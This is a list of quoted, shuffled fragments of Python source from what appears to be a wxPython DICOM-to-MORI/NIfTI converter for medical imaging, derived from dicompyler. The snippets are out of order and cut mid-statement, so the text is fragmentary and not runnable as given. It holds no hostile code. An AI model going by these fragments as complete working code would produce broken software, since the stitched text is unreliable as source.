"'Found ' + str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1,",
"self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False)",
"patient: for imageid, image in patient['images'].items(): appendImage = False # used for image",
"(DVH only)' else: name = 'RT Dose without Dose Grid or DVH' foundstructure",
"'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan",
"unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by CL.Wang # Sort",
"if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure,",
"name += \" - \" + b['description'] name += \")\" if \"dose\" in",
"images if 'series' in patient: for seriesid, series in patient['series'].items(): if 'studies' in",
"'w') as f: for field in origin_header_lines: # \\r\\n if 'Thickness' in field:",
"study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and images if",
"= False if (planid == dose['rtplan']): foundplan = True rxdose = None if",
"tree control.\"\"\" # Create a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() #",
"process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient",
"cGy' if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure = False",
"util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'),",
"files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients:",
"patient: for planid, plan in patient['plans'].items(): foundplan = False if (planid == dose['rtplan']):",
"initialized.\"\"\" # Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport",
"Dicom series have been selected!') return if not self.output_dir: self.AlertDialog('Please enter valid output",
"dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries =",
"False for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']):",
"self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to",
"for RT Structure Sets if 'structures' in patient: for structureid, structure in patient['structures'].items():",
"not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread exists, block until it",
"patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure,",
"order else: sortednums = sorted(unsortednums, reverse=False) # Add the images to the array",
"use the same patient position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 =",
"= hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree if they don't already",
"len(b['description']): name += \" - \" + b['description'] name += \")\" if \"dose\"",
"wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc'))",
"len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc,",
"np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s',",
"\"\"\"Update the DICOM Import process interface elements.\"\"\" if not length: percentDone = 0",
"plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss']",
"self.lblProgressPercentSym.Show(False) # End the dialog since we are done with the import process",
"patient: for studyid, study in patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid']",
"Doses if 'doses' in patient: for doseid, dose in patient['doses'].items(): foundplan = False",
"if set to hide, reset the rx dose if not value: self.txtRxDose.SetValue(1) def",
"item = evt.GetItem() # Disable the rx dose message and select button by",
"RT Dose # since some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() ==",
"= dicomparser.DicomParser(dcmfile) if (n == 0): patient = {} patient['rxdose'] = RxDose if",
"# Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort",
"methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients'))",
"in patient['structures'].items(): if 'plans' in patient: for planid, plan in patient['plans'].items(): name =",
"+ intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...')",
"= 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1",
"self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree",
"field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field:",
"display an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg",
"break # If no referenced rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan'",
"else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose' in parentdata:",
"= \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet()",
"filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If there is",
"self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient",
"== dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries",
"if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]:",
"self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child) select(child, flag)",
"the patient data from the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt):",
"the import process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message ==",
"Search for RT Doses if 'doses' in patient: for doseid, dose in patient['doses'].items():",
"filearray.append(image['filename']) # Add the respective rtss files to the filearray if they exist",
"Otherwise sort by Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort =",
"/ length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True)",
"self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT Dose files were found else:",
"If the item has data, check to see whether there is an rxdose",
"sort_keys=True) # Block until the thread is done before destroying the dialog if",
"item: if (item['id'] == image['series']): appendImage = True # used for RT structure",
"= 'Found 0 patients.' elif (len(patients) == 1): progressStr = 'Found 1 patient.",
"'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] =",
"+ \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function to update",
"field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field:",
"not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by Acquisition",
"series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name = 'Series: ' +",
"found # and if it is an RT plan or RT dose file",
"#added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing']",
"on GTK due to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If",
"(' + plan['name'] + ')' if len(plan['name']) else \"\" rxdose = plan['rxdose'] if",
"font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font)",
"for doseid, dose in patient['doses'].items(): foundplan = False if 'plans' in patient: for",
"the tree if they don't already exist if not h in self.patients: self.patients[h]",
"patients dictionary self.patients = {} # Search subfolders by default self.import_search_subfolders = True",
"os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format:",
"= plan # Create each RT Dose elif dp.ds.Modality in ['RTDOSE']: if not",
"iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"in patient['series'].items(): if 'studies' in patient: for studyid, study in patient['studies'].items(): if (studyid",
"study/series instead if not foundstructure: # If there is an image series, add",
"if (item['series'] == image['series']): appendImage = True # used for RT plan /",
"[float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float) return m def ExportFunc(self,",
"util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'),",
"str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients)",
"'' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image",
"from wx.xrc import * import numpy as np from dicompylercore import dicomparser from",
"patient.update(patients[key]) if 'studies' in patient: for studyid, study in patient['studies'].items(): name = 'Study:",
"self.lblProgressPercentSym.Show(False) # Start the directory search as soon as the panel loads #self.OnDirectorySearch()",
"== False): break for n in range(len(files)): # terminate the thread if the",
"patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2])",
"and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber",
"dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog =",
"\\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data",
"the sort descriptor to a list to be sorted for i, image in",
"self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of",
"the sorted order for s, slice in enumerate(sortednums): for i, image in enumerate(images):",
"gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients) == 0): progressStr =",
"Initialize the patients dictionary self.patients = {} # Search subfolders by default self.import_search_subfolders",
"RT Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] =",
"the plan to the study/series instead if not foundstructure: # If there is",
"in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort",
"XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else:",
"it is an RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan')",
"label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font)",
"item: appendImage = True if appendImage: filearray.append(image['filename']) # Add the respective rtss files",
"dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the directory search and close the",
"patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in",
"= XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel =",
"'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent')",
"self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format",
"the dialog font and bold the font of the directions label font =",
"(structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files to the filearray",
"and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app = DcmConverterApp(0)",
"self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path =",
"import numpy as np from dicompylercore import dicomparser from pyDcmConverter import guiutil, util",
"else \"Unknown\" name = 'RT Plan: ' + plan['label'] + planname + \\",
"id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert'))",
"the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate =",
"in plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name += \"",
"self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag,",
"self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree",
"= hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] = {} patients[h]['demographics'] = patient",
"search as soon as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def",
"# # It's assumed that the reference (prescription) dose is in cGy. import",
"msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog",
"patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid, study in patient['studies'].items():",
"= np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to",
"\"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name = 'RT",
"os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return dp =",
"guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread exists, block until it is",
"for imageid, image in patient['images'].items(): appendImage = False # used for image series",
"in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number']",
"self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root",
"break # If the images are parallel, sort by ImagePositionPatient if parallel: sort",
"\"The DICOM import location does not exist. Please select a valid location.\", \"Invalid",
"the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients = {} # Check",
"respective rtplan files to the filearray if they exist if 'plans' in patient:",
"return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient",
"4) foundseries = True # If no series were found, add the rtss",
"file else: logger.info(\"%s is a %s file and is not \" + \\",
"not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) #",
"{:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos)))",
"None: return # Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not",
"info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']:",
"# Sort the images based on a sort descriptor: # (ImagePositionPatient, InstanceNumber or",
"series and images if 'series' in patient: for seriesid, series in patient['series'].items(): if",
"name = 'RT Dose without DVH' else: if dose['hasdvh']: name = 'RT Dose",
"(slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the images",
"dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is a currently unsupported file else:",
"= np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break #",
"to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients'))",
"(1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname)",
"dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure:",
"orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0],",
"patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize",
"in dose: if (structureid == dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']):",
"dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the",
"elif '' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW",
"is in cGy. import hashlib, os, threading, functools, json, warnings from logging import",
"in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename'])",
"new thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus,",
"self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread whether",
"if 'plans' in patient: for planid, plan in patient['plans'].items(): foundplan = False if",
"box if no rxdose was found # and if it is an RT",
"patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series']",
"Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import process",
"elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif",
"output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new",
"'RT Dose without Dose Grid or DVH' foundstructure = False if 'structures' in",
"[] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk():",
"image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image",
"dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] =",
"progressStr = 'Found ' + str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc,",
"util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root =",
"respective rtss files to the filearray if they exist if 'structures' in patient:",
"foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan,",
"if all images in the series are parallel # by testing for differences",
"self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if",
"self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked()",
"file license.txt included with this distribution, also # available at https://github.com/bastula/dicompyler/ # #",
"img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate,",
"since we are done with the import process if (message == 'Importing patient",
"functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for th in all_export_threads] #",
"structureid, structure in patient['structures'].items(): if 'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename'])",
"XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format",
"dicompyler, released under a BSD license. # See the file license.txt included with",
"an RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT",
"or DVH' foundstructure = False if 'structures' in patient: for structureid, structure in",
"= False planname = ' (' + plan['name'] + ')' if len(plan['name']) else",
"if 'plans' in patient: for planid, plan in patient['plans'].items(): if (planid == item['rtplan']):",
"['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id']",
"np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break # If",
"name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure:",
"0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n])",
"done before # starting a new thread if (hasattr(self, 't')): self.t.join() del self.t",
"as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] =",
"\" - \" + b['description'] name += \")\" if \"dose\" in b: name",
"# dicomgui.py \"\"\"Main app file that convert DICOM data via a wxPython GUI",
"' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and",
"for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile",
"0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp =",
"are parallel # by testing for differences in ImageOrientationPatient parallel = True for",
"to the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49,",
"dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] =",
"if 'plans' in patient: for planid, plan in patient['plans'].items(): if 'rtplan' in item:",
"Dose without Dose Grid or DVH' foundstructure = False if 'structures' in patient:",
"terminate, progressFunc, exportFunc): \"\"\"Get the data of the selected patient from the DICOM",
"len(filearray), msgs[0]) # Sort the images based on a sort descriptor: # (ImagePositionPatient,",
"DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file",
"'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition'",
"foundstructure: # If there is an image series, add a fake rtss to",
"filearray if they exist if 'plans' in patient: for planid, plan in patient['plans'].items():",
"mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK:",
"= [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose files were found else:",
"events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem,",
"= dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until the thread is done",
"False if (planid == dose['rtplan']): foundplan = True rxdose = None if dose['hasgrid']:",
"that will Import DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load",
"control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread",
"the rxdose text box if no rxdose was found # and if it",
"def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import process interface elements.\"\"\" if",
"if 'rxdose' in data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not",
"'Export RAW image completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting image to",
"= dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] = {}",
"for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt):",
"they exist if 'plans' in patient: for planid, plan in patient['plans'].items(): if 'rtplan'",
"patients[h]['structures'][structure['id']] = structure # Create each RT Plan elif dp.ds.Modality in ['RTPLAN']: if",
"= True # used for RT structure set if 'series' in item: if",
"doseid, dose in patient['doses'].items(): foundplan = False if 'plans' in patient: for planid,",
"util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root",
"it is done before # starting a new thread if (hasattr(self, 't')): self.t.join()",
"\\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create each RT Structure Set",
"+ ', ' #numimages = str(series['numimages']) + ' image)' if (series['numimages'] == 1)",
"this distribution, also # available at https://github.com/bastula/dicompyler/ # # It's assumed that the",
"pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept + self.offset",
"not (parentdata == None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show",
